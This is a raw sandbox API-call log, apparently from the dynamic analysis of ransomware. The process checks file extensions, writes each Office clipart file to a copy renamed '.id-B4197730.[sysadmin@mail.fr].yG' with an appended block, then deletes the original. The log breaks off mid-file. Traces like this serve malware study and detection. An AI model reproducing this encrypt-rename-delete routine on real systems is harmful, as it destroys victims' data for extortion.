	[0173.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.653] lstrlenW (lpString=".jpg") returned 4
	[0173.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.705] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=26768) returned 1
	[0173.705] CloseHandle (hObject=0x350) returned 1
	[0173.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220
	[0173.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.708] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.708] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.710] GetLastError () returned 0x0
	[0173.710] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x6890, lpOverlapped=0x0) returned 1
	[0173.714] WriteFile (in: hFile=0x454, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x68a0, lpOverlapped=0x0) returned 1
	[0173.716] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.716] WriteFile (in: hFile=0x454, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.716] SetEndOfFile (hFile=0x454) returned 1
	[0173.716] CloseHandle (hObject=0x454) returned 1
	[0173.716] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.717] SetEndOfFile (hFile=0x350) returned 1
	[0173.726] CloseHandle (hObject=0x350) returned 1
	[0173.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1
	[0173.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.729] lstrlenW (lpString=".doc") returned 4
	[0173.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.729] lstrlenW (lpString=".docx") returned 5
	[0173.729] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.729] lstrlenW (lpString=".pdf") returned 4
	[0173.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.729] lstrlenW (lpString=".xls") returned 4
	[0173.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.729] lstrlenW (lpString=".xlsx") returned 5
	[0173.729] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.729] lstrlenW (lpString=".ppt") returned 4
	[0173.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.730] lstrlenW (lpString=".zip") returned 4
	[0173.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.730] lstrlenW (lpString=".rar") returned 4
	[0173.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.730] lstrlenW (lpString=".bz2") returned 4
	[0173.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.730] lstrlenW (lpString=".7z") returned 3
	[0173.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.730] lstrlenW (lpString=".dbf") returned 4
	[0173.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.730] lstrlenW (lpString=".1cd") returned 4
	[0173.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0173.730] lstrlenW (lpString=".jpg") returned 4
	[0173.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.733] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4808) returned 1
	[0173.734] CloseHandle (hObject=0x350) returned 1
	[0173.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220
	[0173.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.735] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.735] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.736] GetLastError () returned 0x0
	[0173.736] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0173.738] WriteFile (in: hFile=0x454, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0173.739] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.739] WriteFile (in: hFile=0x454, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.739] SetEndOfFile (hFile=0x454) returned 1
	[0173.740] CloseHandle (hObject=0x454) returned 1
	[0173.740] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.740] SetEndOfFile (hFile=0x350) returned 1
	[0173.957] CloseHandle (hObject=0x350) returned 1
	[0173.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1
	[0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.959] lstrlenW (lpString=".doc") returned 4
	[0173.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.959] lstrlenW (lpString=".docx") returned 5
	[0173.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.959] lstrlenW (lpString=".pdf") returned 4
	[0173.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.959] lstrlenW (lpString=".xls") returned 4
	[0173.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.959] lstrlenW (lpString=".xlsx") returned 5
	[0173.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.959] lstrlenW (lpString=".ppt") returned 4
	[0173.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.959] lstrlenW (lpString=".zip") returned 4
	[0173.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.959] lstrlenW (lpString=".rar") returned 4
	[0173.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.959] lstrlenW (lpString=".bz2") returned 4
	[0173.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.959] lstrlenW (lpString=".7z") returned 3
	[0173.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.959] lstrlenW (lpString=".dbf") returned 4
	[0173.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.960] lstrlenW (lpString=".1cd") returned 4
	[0173.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0173.960] lstrlenW (lpString=".jpg") returned 4
	[0173.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.960] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4636) returned 1
	[0173.960] CloseHandle (hObject=0x350) returned 1
	[0173.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220
	[0173.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.961] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.962] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.963] GetLastError () returned 0x0
	[0173.963] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x121c, lpOverlapped=0x0) returned 1
	[0173.965] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1220, lpOverlapped=0x0) returned 1
	[0173.966] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.966] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.966] SetEndOfFile (hFile=0x57c) returned 1
	[0173.966] CloseHandle (hObject=0x57c) returned 1
	[0173.966] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.966] SetEndOfFile (hFile=0x350) returned 1
	[0173.970] CloseHandle (hObject=0x350) returned 1
	[0173.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.971] lstrlenW (lpString=".doc") returned 4
	[0173.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString=".docx") returned 5
	[0173.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.972] lstrlenW (lpString=".pdf") returned 4
	[0173.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString=".xls") returned 4
	[0173.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.972] lstrlenW (lpString=".xlsx") returned 5
	[0173.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.972] lstrlenW (lpString=".ppt") returned 4
	[0173.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.972] lstrlenW (lpString=".zip") returned 4
	[0173.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.972] lstrlenW (lpString=".rar") returned 4
	[0173.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString=".bz2") returned 4
	[0173.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString=".7z") returned 3
	[0173.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.972] lstrlenW (lpString=".dbf") returned 4
	[0173.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.972] lstrlenW (lpString=".1cd") returned 4
	[0173.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0173.973] lstrlenW (lpString=".jpg") returned 4
	[0173.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.974] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3800) returned 1
	[0173.974] CloseHandle (hObject=0x350) returned 1
	[0173.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220
	[0173.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.975] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.975] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.976] GetLastError () returned 0x0
	[0173.976] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xed8, lpOverlapped=0x0) returned 1
	[0173.978] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xee0, lpOverlapped=0x0) returned 1
	[0173.979] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.980] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.980] SetEndOfFile (hFile=0x57c) returned 1
	[0173.980] CloseHandle (hObject=0x57c) returned 1
	[0173.980] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.980] SetEndOfFile (hFile=0x350) returned 1
	[0173.983] CloseHandle (hObject=0x350) returned 1
	[0173.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1
	[0173.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.985] lstrlenW (lpString=".doc") returned 4
	[0173.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.985] lstrlenW (lpString=".docx") returned 5
	[0173.985] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.985] lstrlenW (lpString=".pdf") returned 4
	[0173.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.985] lstrlenW (lpString=".xls") returned 4
	[0173.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.985] lstrlenW (lpString=".xlsx") returned 5
	[0173.985] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.985] lstrlenW (lpString=".ppt") returned 4
	[0173.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.985] lstrlenW (lpString=".zip") returned 4
	[0173.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.985] lstrlenW (lpString=".rar") returned 4
	[0173.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.985] lstrlenW (lpString=".bz2") returned 4
	[0173.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.985] lstrlenW (lpString=".7z") returned 3
	[0173.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.985] lstrlenW (lpString=".dbf") returned 4
	[0173.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.986] lstrlenW (lpString=".1cd") returned 4
	[0173.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0173.986] lstrlenW (lpString=".jpg") returned 4
	[0173.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.986] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8260) returned 1
	[0173.986] CloseHandle (hObject=0x350) returned 1
	[0173.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220
	[0173.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0173.988] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.988] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.989] GetLastError () returned 0x0
	[0173.989] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2044, lpOverlapped=0x0) returned 1
